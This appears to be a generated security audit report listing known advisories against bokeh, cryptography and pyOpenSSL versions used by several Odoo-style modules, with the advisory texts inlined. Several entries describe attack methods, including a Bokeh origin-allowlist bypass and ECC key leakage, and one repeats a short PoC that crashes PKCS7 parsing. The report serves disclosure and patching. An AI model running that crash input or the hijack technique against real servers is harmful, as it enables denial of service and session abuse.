20 vulnerabilities across 3 packages, affecting 3 modules.
| bokeh==1.1.0 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-793v-589g-574v | 3.8.2 | web_widget_bokeh_chart |
Show detailsThis vulnerability allows for **Cross-Site WebSocket Hijacking (CSWSH)** of a deployed Bokeh server instance.
### Scope
This vulnerability is only relevant to deployed Bokeh server instances. There is no impact on static HTML output, standalone embedded plots, or Jupyter notebook usage.
This vulnerability does not prevent any requirements for up-front authentication on Bokeh servers that have authentication hooks in place, and cannot be used to make Bokeh servers deployed on private, internal networks accessible outside those networks.
### Impact
If a Bokeh server is configured with an allowlist (e.g., `dashboard.corp`), an attacker can register a domain like `dashboard.corp.attacker.com` (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., `http://dashboard.corp.attacker.com/`) matches the allowlist according to the flawed logic, the connection is accepted.
Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations.
### Patches
Patched in versions 3.8.2 and later.
### Workarounds
None
### Technical description
The `match_host` function in `src/bokeh/server/util.py` contains a flaw in how it compares hostnames against the allowlist patterns. The function uses Python's `zip()` function to iterate over the parts of the hostname and the pattern simultaneously. However, `zip()` stops iteration when the shortest iterable is exhausted.
Because the code only checks if the *pattern* is longer than the *host* (lines 232-233), but fails to check if the *host* is longer than the *pattern*, a host that **starts** with the pattern (but has additional segments) will successfully match.
For example, if the allowlist is configured to `['[example.com](http://example.com/)']`, the function will incorrectly validate `[example.com.bad.com](http://example.com.evil.com/)` as a match:
1. `host` parts: `['example', 'com', 'bad', 'com']`
2. `pattern` parts: `['example', 'com']`
3. `zip` compares `example==example` (OK) and `com==com` (OK).
4. Iteration stops, and the function returns `True`.
|
| cryptography<39 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-537c-gmf6-5ccf | 48.0.1 | l10n_es_ticketbai_api |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-r6ph-v2qm-q3c2 | 46.0.5 | l10n_es_ticketbai_api |
Show details## Vulnerability Summary
The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve.
This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.
Only SECT curves are impacted by this.
## Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
|
| GHSA-h4gh-qq45-vh27 | 43.0.1 | l10n_es_ticketbai_api |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 37.0.0-43.0.0 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20240903.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-5cpq-8wj7-hf2v | 41.0.0 | l10n_es_ticketbai_api |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-x4qr-2fvf-3mr5 | 39.0.1 | l10n_es_ticketbai_api |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-6vqw-3v5j-54x4 | 42.0.4 | l10n_es_ticketbai_api |
Show detailsIf `pkcs12.serialize_key_and_certificates` is called with both:
1. A certificate whose public key did not match the provided private key
2. An `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`
Then a NULL pointer dereference would occur, crashing the Python process.
This has been resolved, and now a `ValueError` is properly raised.
Patched in https://github.com/pyca/cryptography/pull/10423
|
| GHSA-3ww4-gg4f-jr7f | 42.0.0 | l10n_es_ticketbai_api |
Show detailsA flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
|
| GHSA-9v9h-cgj8-h64p | 42.0.2 | l10n_es_ticketbai_api |
Show detailsIssue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL
to crash leading to a potential Denial of Service attack
Impact summary: Applications loading files in the PKCS12 format from untrusted
sources might terminate abruptly.
A file in PKCS12 format can contain certificates and keys and may come from an
untrusted source. The PKCS12 specification allows certain fields to be NULL, but
OpenSSL does not correctly check for this case. This can lead to a NULL pointer
dereference that results in OpenSSL crashing. If an application processes PKCS12
files from an untrusted source using the OpenSSL APIs then that application will
be vulnerable to this issue.
OpenSSL APIs that are vulnerable to this are: PKCS12_parse(),
PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()
and PKCS12_newpass().
We have also fixed a similar issue in SMIME_write_PKCS7(). However since this
function is related to writing data we do not consider it security significant.
The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
|
| PYSEC-2023-254 | 41.0.6 | l10n_es_ticketbai_api |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
|
| GHSA-w7pp-m8wf-vj6r | 39.0.1 | l10n_es_ticketbai_api |
Show detailsPreviously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers:
```pycon
>>> outbuf = b"\x00" * 32
>>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor()
>>> c.update_into(b"\x00" * 16, outbuf)
16
>>> outbuf
b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```
This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone.
This now correctly raises an exception.
This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| GHSA-jfhm-5ghh-2f97 | 41.0.6 | l10n_es_ticketbai_api |
Show details### Summary
Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.
### PoC
Here is a Python code that triggers the issue:
```python
from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates
pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""
der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"
load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)
```
### Impact
Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
|
| PYSEC-2023-11 | 39.0.1 | l10n_es_ticketbai_api |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| PYSEC-2026-35 | 46.0.6 | l10n_es_ticketbai_api |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
|
| GHSA-jm77-qphf-c4w8 | 41.0.3 | l10n_es_ticketbai_api |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-m959-cc7f-wv43 | 46.0.6 | l10n_es_ticketbai_api |
Show details## Summary
In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`.
This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.
In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.
See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`.
## Remediation
Users should upgrade to 46.0.6 or newer.
## Attribution
Reporter: @1seal
|
| GHSA-v8gr-m533-ghj9 | 41.0.4 | l10n_es_ticketbai_api |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| PYSEC-2024-225 | 42.0.4 | l10n_es_ticketbai_api |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Starting in version 38.0.0 and prior to version 42.0.4, if `pkcs12.serialize_key_and_certificates` is called with both a certificate whose public key did not match the provided private key and an `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`, then a NULL pointer dereference would occur, crashing the Python process. This has been resolved in version 42.0.4, the first version in which a `ValueError` is properly raised.
|
| pyOpenSSL<23 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-vp96-hxj8-p424 | 26.0.0 | letsencrypt |
Show detailsIf a user provided callback to `set_tlsext_servername_callback` raised an unhandled exception, this would result in a connection being accepted. If a user was relying on this callback for any security-sensitive behavior, this could allow bypassing it.
Unhandled exceptions now result in rejecting the connection.
Credit to **Leury Castillo** for reporting this issue.
|
| GHSA-5pwr-322w-8jr4 | 26.0.0 | letsencrypt |
Show detailsIf a user provided callback to `set_cookie_generate_callback` returned a cookie value greater than 256 bytes, pyOpenSSL would overflow an OpenSSL provided buffer.
Cookie values that are too long are now rejected.
|
65 vulnerabilities across 6 packages, affecting 15 modules.
| bokeh==2.3.1 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-793v-589g-574v | 3.8.2 | web_widget_bokeh_chart |
Show detailsThis vulnerability allows for **Cross-Site WebSocket Hijacking (CSWSH)** of a deployed Bokeh server instance.
### Scope
This vulnerability is only relevant to deployed Bokeh server instances. There is no impact on static HTML output, standalone embedded plots, or Jupyter notebook usage.
This vulnerability does not prevent any requirements for up-front authentication on Bokeh servers that have authentication hooks in place, and cannot be used to make Bokeh servers deployed on private, internal networks accessible outside those networks.
### Impact
If a Bokeh server is configured with an allowlist (e.g., `dashboard.corp`), an attacker can register a domain like `dashboard.corp.attacker.com` (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., `http://dashboard.corp.attacker.com/`) matches the allowlist according to the flawed logic, the connection is accepted.
Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations.
### Patches
Patched in versions 3.8.2 and later.
### Workarounds
None
### Technical description
The `match_host` function in `src/bokeh/server/util.py` contains a flaw in how it compares hostnames against the allowlist patterns. The function uses Python's `zip()` function to iterate over the parts of the hostname and the pattern simultaneously. However, `zip()` stops iteration when the shortest iterable is exhausted.
Because the code only checks if the *pattern* is longer than the *host* (lines 232-233), but fails to check if the *host* is longer than the *pattern*, a host that **starts** with the pattern (but has additional segments) will successfully match.
For example, if the allowlist is configured to `['[example.com](http://example.com/)']`, the function will incorrectly validate `[example.com.bad.com](http://example.com.evil.com/)` as a match:
1. `host` parts: `['example', 'com', 'bad', 'com']`
2. `pattern` parts: `['example', 'com']`
3. `zip` compares `example==example` (OK) and `com==com` (OK).
4. Iteration stops, and the function returns `True`.
|
| cryptography<23.2.0 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-r6ph-v2qm-q3c2 | 46.0.5 | letsencrypt |
Show details## Vulnerability Summary
The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve.
This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.
Only SECT curves are impacted by this.
## Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
|
| GHSA-w7pp-m8wf-vj6r | 39.0.1 | letsencrypt |
Show detailsPreviously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers:
```pycon
>>> outbuf = b"\x00" * 32
>>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor()
>>> c.update_into(b"\x00" * 16, outbuf)
16
>>> outbuf
b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```
This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone.
This now correctly raises an exception.
This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| GHSA-jm77-qphf-c4w8 | 41.0.3 | letsencrypt |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-jfhm-5ghh-2f97 | 41.0.6 | letsencrypt |
Show details### Summary
Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.
### PoC
Here is a Python code that triggers the issue:
```python
from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates
pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""
der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"
load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)
```
### Impact
Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
|
| PYSEC-2023-11 | 39.0.1 | letsencrypt |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| PYSEC-2026-35 | 46.0.6 | letsencrypt |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
|
| PYSEC-2023-254 | 41.0.6 | letsencrypt |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
|
| GHSA-3ww4-gg4f-jr7f | 42.0.0 | letsencrypt |
Show detailsA flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
|
| GHSA-m959-cc7f-wv43 | 46.0.6 | letsencrypt |
Show details## Summary
In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`.
This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.
In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.
See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`.
## Remediation
Users should upgrade to 46.0.6 or newer.
## Attribution
Reporter: @1seal
|
| GHSA-537c-gmf6-5ccf | 48.0.1 | letsencrypt |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-v8gr-m533-ghj9 | 41.0.4 | letsencrypt |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-5cpq-8wj7-hf2v | 41.0.0 | letsencrypt |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-x4qr-2fvf-3mr5 | 39.0.1 | letsencrypt |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-9v9h-cgj8-h64p | 42.0.2 | letsencrypt |
Show detailsIssue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL
to crash leading to a potential Denial of Service attack
Impact summary: Applications loading files in the PKCS12 format from untrusted
sources might terminate abruptly.
A file in PKCS12 format can contain certificates and keys and may come from an
untrusted source. The PKCS12 specification allows certain fields to be NULL, but
OpenSSL does not correctly check for this case. This can lead to a NULL pointer
dereference that results in OpenSSL crashing. If an application processes PKCS12
files from an untrusted source using the OpenSSL APIs then that application will
be vulnerable to this issue.
OpenSSL APIs that are vulnerable to this are: PKCS12_parse(),
PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()
and PKCS12_newpass().
We have also fixed a similar issue in SMIME_write_PKCS7(). However since this
function is related to writing data we do not consider it security significant.
The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
|
| cryptography<39 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-r6ph-v2qm-q3c2 | 46.0.5 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
Show details## Vulnerability Summary
The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve.
This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.
Only SECT curves are impacted by this.
## Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
|
| GHSA-h4gh-qq45-vh27 | 43.0.1 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 37.0.0-43.0.0 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20240903.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| PYSEC-2023-254 | 41.0.6 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
|
| GHSA-6vqw-3v5j-54x4 | 42.0.4 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
Show detailsIf `pkcs12.serialize_key_and_certificates` is called with both:
1. A certificate whose public key did not match the provided private key
2. An `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`
Then a NULL pointer dereference would occur, crashing the Python process.
This has been resolved, and now a `ValueError` is properly raised.
Patched in https://github.com/pyca/cryptography/pull/10423
|
| GHSA-3ww4-gg4f-jr7f | 42.0.0 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
Show detailsA flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
|
| GHSA-5cpq-8wj7-hf2v | 41.0.0 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-w7pp-m8wf-vj6r | 39.0.1 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
Show detailsPreviously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers:
```pycon
>>> outbuf = b"\x00" * 32
>>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor()
>>> c.update_into(b"\x00" * 16, outbuf)
16
>>> outbuf
b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```
This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone.
This now correctly raises an exception.
This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| GHSA-jm77-qphf-c4w8 | 41.0.3 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-v8gr-m533-ghj9 | 41.0.4 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-x4qr-2fvf-3mr5 | 39.0.1 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-537c-gmf6-5ccf | 48.0.1 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| PYSEC-2023-11 | 39.0.1 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
